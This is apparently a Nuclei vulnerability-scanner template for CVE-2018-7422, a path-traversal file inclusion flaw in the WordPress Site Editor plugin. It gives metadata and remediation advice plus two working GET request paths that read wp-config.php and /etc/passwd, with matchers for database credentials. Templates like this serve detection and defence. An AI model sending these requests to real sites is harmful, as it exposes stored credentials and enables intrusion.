id: CVE-2018-7422 info: name: WordPress Site Editor <=1.1.1 - Local File Inclusion author: LuskaBol,0x240x23elu severity: high description: | WordPress Site Editor through 1.1.1 allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php. impact: | An attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the system. remediation: | Update WordPress Site Editor plugin to the latest version to mitigate the vulnerability. reference: - https://www.exploit-db.com/exploits/44340 - http://seclists.org/fulldisclosure/2018/Mar/40 - https://wpvulndb.com/vulnerabilities/9044 - https://nvd.nist.gov/vuln/detail/CVE-2018-7422 - https://github.com/El-Palomo/SYMFONOS classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-7422 cwe-id: CWE-22 epss-score: 0.94711 epss-percentile: 0.99202 cpe: cpe:2.3:a:siteeditor:site_editor:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: siteeditor product: site_editor framework: wordpress tags: cve2018,cve,wordpress,wp-plugin,lfi,edb,seclists,siteeditor http: - method: GET path: - '{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php' - "{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd" matchers-condition: or matchers: - type: word part: body words: - "DB_NAME" - "DB_PASSWORD" condition: and - type: regex part: body regex: - "root:.*:0:0:" # digest: 490a00463044022019f116be79a0ebe728b8a912a79fc82e19204d21f2951e5a2a0d3ee2b9e517b702207debe860e4abfb76a19571f564d8dea263f0da17b80a2b81a44fac44b81fbd30:922c64590222798bb761d5b6d8e72950